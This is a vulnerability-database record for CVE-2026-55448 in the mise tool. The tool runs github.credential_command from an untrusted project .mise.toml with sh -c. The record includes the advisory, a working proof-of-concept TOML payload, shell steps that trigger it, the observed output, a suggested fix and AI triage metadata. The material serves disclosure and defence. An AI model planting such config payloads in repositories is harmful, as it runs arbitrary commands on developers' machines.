{"id":"CVE-2026-55448","kind":"vulnerability","aliases":["CVE-2026-55448","GHSA-29hf-rm4x-xxph"],"related":[],"title":"Mise's local credential_command executes untrusted config","description":"### Summary\n\n`mise` loads `github.credential_command` from local project config before any trust decision, then executes that value with `sh -c` when resolving a GitHub token. An attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.\n\nThe current command-execution path is `github.credential_command`. I confirmed in Docker that the setting is exploitable on `v2026.3.15` and `v2026.3.17`, while `v2026.3.14` rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from `[settings.github]`.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads settings from local config files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the local file is trusted.\n3. [`resolve_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L344-L390) checks `settings.github.credential_command` after the token env vars and before file-based sources.\n4. [`get_credential_command_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L558-L599) executes the value with `sh -c`.\n\nThe main command-execution path is:\n\n```rust\nlet result = std::process::Command::new(\"sh\")\n    .arg(\"-c\")\n    .arg(cmd)\n    .arg(\"mise-credential-helper\")\n    .arg(host)\n    .output()\n```\n\nIf a local project file sets:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nthen `resolve_token()` will reach `get_credential_command_token()` whenever higher-priority GitHub token environment variables are unset. `credential_command` is a documented custom credential source for mise, but it is also accepted from a local project `.mise.toml`, which lets an untrusted repository supply a shell command for mise to execute.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```bash\nexport GITHUB_TOKEN=env_token\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: env_token (source: GITHUB_TOKEN)\n/tmp/mise-proof.txt => missing\n```\n\nPrimary exploit:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nRun:\n\n```bash\nunset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: ghp_fake_token (source: credential_command)\n```\n\nAnd the side effect file is created:\n\n```text\n/tmp/mise-proof.txt => credential_command_rce\n```\n\nRelated version check:\n\n- `v2026.3.14`: `credential_command` is rejected as an unknown field\n- `v2026.3.15`: the same PoC executes and returns `source: credential_command`\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.\n\nDemonstrated impact:\n\n- arbitrary command execution as the victim user\n- no trust prompt\n- no need for `[env]`, `[hooks]`, tasks, or templates\n\nImportant limitation:\n\n- if a higher-priority GitHub token environment variable is already set, the `credential_command` path is not reached\n\n### Suggested Fix\n\nDo not honor `github.credential_command` from non-global project config files.\n\nFor example, inside `parse_settings_file()`:\n\n```rust\npub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {\n    let raw = file::read_to_string(path)?;\n    let settings_file: SettingsFile = toml::from_str(&raw)?;\n    let mut settings = settings_file.settings;\n\n    if !config::is_global_config(path) {\n        settings.github.credential_command = None;\n    }\n\n    Ok(settings)\n}\n```","summary":"mise reads a github.credential_command value from a project's local .mise.toml before any trust check and runs it with sh -c when resolving a GitHub token. A malicious repository can therefore make a victim's mise command execute arbitrary shell commands as that user.","severity":"medium","cvss":6.3,"epss":0.002,"exploited":false,"exploited_at":null,"products":[{"name":"mise","fixed":["2026.6.4"],"affected":">= 2026.3.15, < 2026.6.4","ecosystem":"cargo"}],"ecosystems":["cargo"],"tags":["ci","cwe-78","developers","github","mise","package"],"not_affected_if":["token-env-set","trusted-repos-only","version-2026.6.4-or-later"],"how_to_check":"- Check the installed version with `mise --version`; versions from `2026.3.15` up to but not including `2026.6.4` are affected.\n- Search project `.mise.toml` files for `credential_command` under `[settings.github]`.\n- Confirm whether `GITHUB_TOKEN`, `GITHUB_API_TOKEN`, `MISE_GITHUB_TOKEN` or `MISE_GITHUB_ENTERPRISE_TOKEN` is set; if one is, the command path is not reached.","fix":"- mise: move to `2026.6.4` or later.","status":"open","published_at":"2026-06-23T18:24:28+00:00","first_seen_at":"2026-11-03T20:14:39+00:00","triaged_at":"2026-11-03T20:15:48+00:00","updated_at":"2026-11-03T20:15:48+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-03T20:15:48Z","model":"claude-haiku-5-5","output":{"fix":"- mise: move to `2026.6.4` or later.","reach":"local","title":"mise: local .mise.toml can run shell commands via GitHub credential setting","impact":"high","summary":"mise reads a github.credential_command value from a project's local .mise.toml before any trust check and runs it with sh -c when resolving a GitHub token. A malicious repository can therefore make a victim's mise command execute arbitrary shell commands as that user.","audience":"developers","category":"package","nicknames":[],"who_cares":["mise","developers","ci","github"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"arbitrary shell commands run as the victim user","analyst_note":"","how_to_check":"- Check the installed version with `mise --version`; versions from `2026.3.15` up to but not including `2026.6.4` are affected.\n- Search project `.mise.toml` files for `credential_command` under `[settings.github]`.\n- Confirm whether `GITHUB_TOKEN`, `GITHUB_API_TOKEN`, `MISE_GITHUB_TOKEN` or `MISE_GITHUB_ENTERPRISE_TOKEN` is set; if one is, the command path is not reached.","plain_action":"","needs_analyst":false,"not_affected_if":["token-env-set","trusted-repos-only","version-2026.6.4-or-later"],"who_is_affected":"Anyone who runs mise on a repository they did not write, or on a machine that clones untrusted projects, while mise is at a version from 2026.3.15 up to 2026.6.4. The path is reached only when no higher-priority GitHub token environment variable is set and a mise GitHub-related command resolves a token. Teams that always set a GitHub token variable, or that never open untrusted repositories, are less exposed.","user_interaction":"yes","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.000905,"input_tokens":5738,"output_tokens":662,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-2026':10A,18A '-55448':11A,19A '-78':23B '/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#l254-l283)':196C '/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#l505-l510)':209C '/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#l344-l390)':225C '/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#l558-l599)':247C '/tmp/mise-proof.txt':295C,381C,393C,434C '1':190C '2':203C '29hf':14A '3':220C '4':240C 'accept':333C 'alreadi':527C 'also':332C 'api':404C 'arbitrari':67B,110C,473C,497C 'arg':269C,271C,273C,278C 'arm64':358C 'attack':99C,462C 'base':238C 'bash':363C,399C 'bypass':174C 'c':49B,92C,253C,270C 'check':43B,213C,226C,440C 'ci':21B 'cmd':272C 'command':5A,32B,65B,69B,77C,112C,122C,137C,142C,228C,243C,257C,266C,290C,293C,307C,320C,347C,388C,391C,425C,436C,443C,459C,475C,486C,498C,531C,542C 'command-execut':136C,256C 'config':8A,81C,201C,548C 'confirm':144C 'control':362C 'creat':432C 'credenti':4A,242C,276C,289C,292C,306C,319C,325C,387C,390C,424C,435C,442C,458C,530C 'current':135C 'custom':324C 'cve':9A,17A 'cwe':22B 'decis':85C 'demonstr':495C 'depend':168C 'detail':184C 'develop':24B 'direct':181C 'docker':146C,355C 'document':323C 'echo':291C,296C,389C,394C 'effect':429C 'enterpris':411C 'env':232C,367C,376C,510C 'environ':130C,315C,354C,524C 'exampl':551C 'execut':6A,66B,87C,109C,138C,248C,258C,351C,454C,472C,499C 'exploit':151C,384C 'export':364C 'fake':298C,396C,421C 'field':163C,449C 'file':202C,206C,217C,237C,285C,430C,549C,555C,561C,567C,574C 'file-bas':236C 'fix':537C 'fn':558C 'get':193C,241C,305C 'ghp':297C,395C,420C 'ghsa':13A 'ghsa-29hf-rm4x-xxph':12A 'github':25B,53B,96C,119C,128C,313C,365C,370C,379C,401C,403C,407C,410C,414C,490C,522C 'github-rel':118C 'github.com':195C,208C,224C,246C,375C,419C 'github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#l254-l283)':194C 'github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#l505-l510)':207C 'github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#l344-l390)':223C 'github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#l558-l599)':245C 'github.credential':31B,76C,141C,541C 'global':546C 'helper':277C 'higher':126C,311C,520C 'higher-prior':125C,310C,519C 'honor':540C 'hook':511C 'host':279C 'impact':460C,496C 'import':515C 'insid':552C 'issu':175C 'let':262C,340C,565C,572C,580C 'limit':516C 'linux':357C 'linux-arm64':356C 'load':75C,187C 'local':3A,38B,79C,200C,216C,283C,336C,493C 'main':255C 'make':60B 'malici':56B 'mise':1A,20A,26B,28B,64B,74C,121C,275C,328C,349C,359C,369C,406C,409C,413C,485C 'mise-credential-help':274C 'mise.toml':39B,104C,338C,467C 'miss':382C 'mut':581C 'need':508C 'negat':361C 'new':267C 'non':545C 'non-glob':544C 'observ':373C,417C 'order':188C 'output':280C 'packag':27B 'pars':204C,553C,559C 'path':139C,259C,532C,562C,563C,571C 'place':102C,465C 'poc':352C,453C 'preload':197C 'primari':383C 'prioriti':127C,312C,521C 'process':265C 'project':36B,80C,284C,337C,547C 'prompt':506C 'pub':557C 'raw':566C,579C 'rce':294C,392C,437C 'reach':180C,304C,535C 'read':29B,568C 'reject':158C,445C 'relat':120C,438C 'report':165C 'repositori':57B,107C,343C,470C 'resolv':51B,94C,221C,301C,488C 'result':263C,564C 'return':210C,456C 'rm4x':15A 'run':45B,116C,398C,483C 'rust':261C,556C 'separ':171C 'set':133C,149C,191C,198C,205C,286C,494C,528C,554C,560C,573C,582C 'settings.github':183C,288C,386C 'settings.github.credential':227C 'settings_file.set':583C 'settings_file.settings':211C 'settingsfil':575C 'sh':48B,91C,252C,268C 'shell':68B,111C,346C,474C 'side':428C 'sink':178C 'sourc':239C,326C,378C,423C,457C 'std':264C 'str':578C 'string':570C 'suggest':536C 'summari':73C 'suppli':344C 'task':512C 'templat':514C 'test':353C 'text':374C,418C,433C 'therefor':59B 'token':54B,97C,129C,222C,231C,244C,299C,302C,308C,314C,366C,368C,371C,377C,380C,397C,402C,405C,408C,412C,415C,422C,491C,523C 'toml':287C,385C,576C 'tri':192C 'trust':42B,84C,173C,219C,505C 'trust-bypass':172C 'unknown':162C,448C 'unmask':372C,416C 'unset':318C,400C 'untrust':7A,342C 'user':72B,479C,503C 'v2026.3.14':157C,441C 'v2026.3.15':153C,450C 'v2026.3.17':155C,360C 'valu':33B,89C,250C 'var':233C 'variabl':131C,316C,525C 'version':439C 'victim':62B,115C,478C,482C,502C 'vulner':186C 'whenev':309C 'whether':214C 'without':212C 'xxph':16A","nicknames":[],"mitigations":[],"who_affected":"Anyone who runs mise on a repository they did not write, or on a machine that clones untrusted projects, while mise is at a version from 2026.3.15 up to 2026.6.4. The path is reached only when no higher-priority GitHub token environment variable is set and a mise GitHub-related command resolves a token. Teams that always set a GitHub token variable, or that never open untrusted repositories, are less exposed.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["mise"],"ptokens":["mise"],"labels":["cargo","ci","cwe78","developers","github","medium","mise","package"],"campaign_type":null,"first_public_at":"2026-06-12T17:40:16+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-29hf-rm4x-xxph","url":"https://github.com/advisories/GHSA-29hf-rm4x-xxph","severity":"medium","published_at":"2026-06-23T18:24:28+00:00","modified_at":"2026-11-03T20:11:31+00:00","first_seen_at":"2026-11-03T20:14:39+00:00","fetched_at":"2026-11-03T20:33:51+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-55448","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55448","severity":null,"published_at":"2026-06-26T18:17:01+00:00","modified_at":"2026-10-25T17:10:00+00:00","first_seen_at":"2026-11-03T20:49:27+00:00","fetched_at":"2026-11-03T20:49:27+00:00","note":null}],"documents":[{"id":60364,"url":"https://api.github.com/repos/jdx/mise/security-advisories/GHSA-29hf-rm4x-xxph","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":60365,"url":"https://github.com/jdx/mise/security/advisories/GHSA-29hf-rm4x-xxph","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-12T17:40:16+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}